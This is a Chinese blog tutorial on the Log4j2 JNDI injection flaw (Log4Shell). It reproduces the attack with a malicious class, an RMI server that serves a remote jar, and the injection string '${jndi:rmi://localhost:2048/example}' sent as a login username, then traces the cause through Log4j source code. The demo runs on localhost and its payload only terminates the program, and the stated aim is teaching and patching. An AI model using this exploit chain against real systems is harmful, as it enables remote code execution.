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【紧急】Log4j又发新版2.17.0，只有彻底搞懂漏洞原因，才能以不变应万变，小白也能看懂

2021-12-20 13:02:03 作者：互联网

1 事件背景

经过一周时间的Log4j2 RCE事件的发酵，事情也变也越来越复杂和有趣，就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久，又发声明说 2.15.0 版本也没有完全解决问题，然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了，没想到才过多久又爆雷，Log4j 2.17.0横空出世。
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相信各位小伙伴都在加班加点熬夜紧急修复和改正Apache Log4j爆出的安全漏洞，各企业都瑟瑟发抖，连网警都通知各位站长，包括我也收到了湖南长沙高新区网警的通知。
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我也紧急发布了两篇教程，给各位小伙伴支招，我之前发布的教程依然有效。

【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程

【紧急】继续折腾，Log4j再发2.16.0，强烈建议升级

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虽然，各位小伙伴按照教程一步一步操作能快速解决问题，但是很多小伙伴依旧有很多疑惑，不知其所以然。在这里我给大家详细分析并复现一下Log4j2漏洞产生的原因，纯粹是以学习为目的。

Log4j2漏洞总体来说是通过JNDI注入恶意代码来完成攻击，具体的操作方式有RMI和LDAP等。

2 JNDI介绍

2.1 JNDI定义

JNDI（Java Naming and Directory Interface，Java命名和目录接口）是Java中为命名和目录服务提供接口的API，JNDI主要由两部分组成：Naming（命名）和Directory（目录），其中Naming是指将对象通过唯一标识符绑定到一个上下文Context，同时可通过唯一标识符查找获得对象，而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中，同时可通过名称获取对象的属性，同时也可以操作属性。

2.2 JNDI架构

Java应用程序通过JNDI API访问目录服务，而JNDI API会调用Naming Manager实例化JNDI SPI，然后通过JNDI SPI去操作命名或目录服务其如LDAP， DNS，RMI等，JNDI内部已实现了对LDAP，DNS， RMI等目录服务器的操作API。其架构图如下所示：

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2.3 JNDI核心API

类名	解释
Context	命名服务的接口类，由很多的name-to-object的健值对组成，可以通过该接口将健值对绑定到该类中，也可通过该类根据name获取其绑定的对象
InitialContextNaming	（命名服务）操作的入口类，通过该类可对命名服务进行相关的操作
DirContext	Directory目录服务的接口类，该类继承自Context，在Naming服务的基础上扩展了对于对象属性的绑定和获取操作
InitialDirContext	Directory目录服务相关操作的入口类，通过该类可进行目录相关服务的操作

Java通过JNDI API去调用服务。例如，我们大家熟悉的odbc数据连接，就是通过JNDI的方式来调用数据源的。以下代码大家应该很熟悉：

<?xml version="1.0" encoding="UTF-8"?>
<Context>
    <Resource name="jndi/person"
            auth="Container"
            type="javax.sql.DataSource"
            username="root"
            password="root"
            driverClassName="com.mysql.jdbc.Driver"
            url="jdbc:mysql://localhost:3306/test"
            maxTotal="8"
            maxIdle="4"/>
</Context>

在Context.xml文件中我们可以定义数据库驱动，url、账号密码等关键信息，其中name这个字段的内容为自定义。下面使用InitialContext对象获取数据源

Connection conn=null; 
PreparedStatement ps = null;
ResultSet rs = null;
try { 
  Context ctx=new InitialContext(); 
  Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用数据源 
  DataSource ds=(Datasource)datasourceRef; 
  conn = ds.getConnection(); 
  
  //省略部分代码
  ...
  
  c.close(); 
} catch(Exception e) { 
  e.printStackTrace(); 
} finally { 
  if(conn!=null) { 
    try { 
      conn.close(); 
    } catch(SQLException e) { } 
  } 
}

是不是很熟悉呢？JNDI的其他应用在此我就不多做介绍了，如果还不了解JNDI/RMI/LDAP等相关概念的小伙伴请自行百度一下。

3 攻击原理

下面我以RMI的方式为例，详细复现步骤和分析原因。解释基本攻击原理之前，我们先来看一张时序图：

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1、攻击者首先发布一个RMI服务，此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。例如：包含 system.exit(1) 等类似的危险操作和恶意代码的下载地址。

2、攻击者再发布另一个恶意代码下载服务，此服务可以下载所有含有恶意代码的类。

3、攻击者利用Log4j2的漏洞注入RMI调用，例如：logger.info("日志信息 ${jndi:rmi://rmi-service:port/example}")。

4、调用RMI后将获取到引用类型的RMI远程对象，该对象将就加载恶意代码并执行。

4 漏洞复现

4.1 创建恶意代码

创建恶意代码相关类，以下代码仅供学习：


package com.tom.example.log4j;

public class HackedClassFactory {

    public HackedClassFactory(){
        System.out.println("程序即将终止");
        System.exit(1);
    }
}

创建HackedClassFactory类的定义，在构造函数里写入终止程序运行的恶意代码。

4.2 发布恶意代码

将HackedClassFactory类打成jar包，发布到HTTP服务器上，能通过简单的Get请求正常下载即可。

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4.3 创建RMI服务

编写如下代码，并运行程序：


package com.tom.example.rmi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.util.Hashtable;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class HackedRmiService {
    
    public static void main(String[] args) {
        try {
            int port = 2048;  //设置RMI服务远程监听端口
            //创建并发布RMI服务
            LocateRegistry.createRegistry(port);
            Hashtable<String, Object> env = new Hashtable<String,Object>();
            env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port);
            Context context = new InitialContext(env);


            String serviceName = "example";
            String serviceClassName = "com.tom.example.log4j.HackedClassFactory";
            //指定恶意代码的下载地址
            Reference refer = new Reference(
                    serviceName,
                    serviceClassName,
                    "http://127.0.0.1/example/classes.jar");
            ReferenceWrapper wrapper = new ReferenceWrapper(refer);

            //为RMI服务绑定一个引用类型的对象，此对象可以被远程访问
            context.bind(serviceName,wrapper);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

RMI服务启动之后，即发布了监听端口为2048的RMI服务。

运行 netstat -ano | find "2048" 命令检验，得到如下结果，说明RMI服务已经正常启动，如下图：

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4.4 注入恶意代码

下面我们利用Log4j的漏洞注入恶意代码，有已知用户登录的业务场景，小伙伴们先不管它是如何实现的，其代码如下：


@RequestMapping(value="/login")
public ResponseEntity login(String loginName,String loginPass){
    
    ResultMsg<?> data = memberService.login(loginName,loginPass);

    //演示代码，省略业务逻辑，默认为登录成功
    log.info("登录成功",loginName);

    String json = JSON.toJSONString(data);

    return ResponseEntity
            .ok()
            .contentType(MediaType.APPLICATION_JSON)
            .body(json);
}

利用Postman测试，首先正常访问能得到期望的结果，如下图所示：

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用户登录成功后会正常返回token，这看上去是一个常规操作。细心的小伙发现，在登录成功之后，后台会打印一条日志且输出登录的用户名。

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接下来，我做一个非常规操作。将用户名输入为 ${jndi:rmi://localhost:2048/example}

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我们发现程序已经无法响应，再看后台日志，已经终止运行。

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这里仅仅只是演示效果，我编写的恶意代码只是终止程序，如果攻击者注入的是其他恶意代码，那后果将不堪设想。

5 源码分析

通过以上案例还原了攻击者利用Log4j的漏洞对目标程序进行攻击的完整过程，接下来分析一下Log4j的源码从而了解根本原因。其罪魁祸首是Log4j2 的MessagePatternConverter组件中的format()方法，Log4j在记录日志的时候会间接的调用该方法，具体源码如下：

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从源码中我们可以发现该方法会截取 $ 和 { } 之间的字符串，将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协议格式则进行JNDI方式的RMI调用,从而触发原生的RMI服务调用。具体调用位置在StrSubstitutor的substitute()方法:


private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {

   //此处省略部分代码
   ...

    this.checkCyclicSubstitution(varName, (List)priorVariables);
    ((List)priorVariables).add(varName);
    String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
    if (varValue == null) {
        varValue = varDefaultValue;
    }
    
     //此处省略部分代码
    ...
    
}

上述代码中的resolveVariable()最终会调用InitialContext的lookup()方法：


protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {
    StrLookup resolver = this.getVariableResolver();
    return resolver == null ? null : resolver.lookup(event, variableName);
}

通过断点调试，我们确实发现调用了RMI服务，下图所示：

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最终恶意代码通过RMI加载完成以后，会调用javax.naming.spi.NamingManager的getObjectFactoryFromReference()方法加载恶意代码，也就是我们之前写的com.tom.example.log4j.HackedClassFactory类。首先会在尝试本地找，如果本地找不到会通过远程地址加载，也就是我们发布的下载服务，即http://127.0.0.1/example/classes.jar

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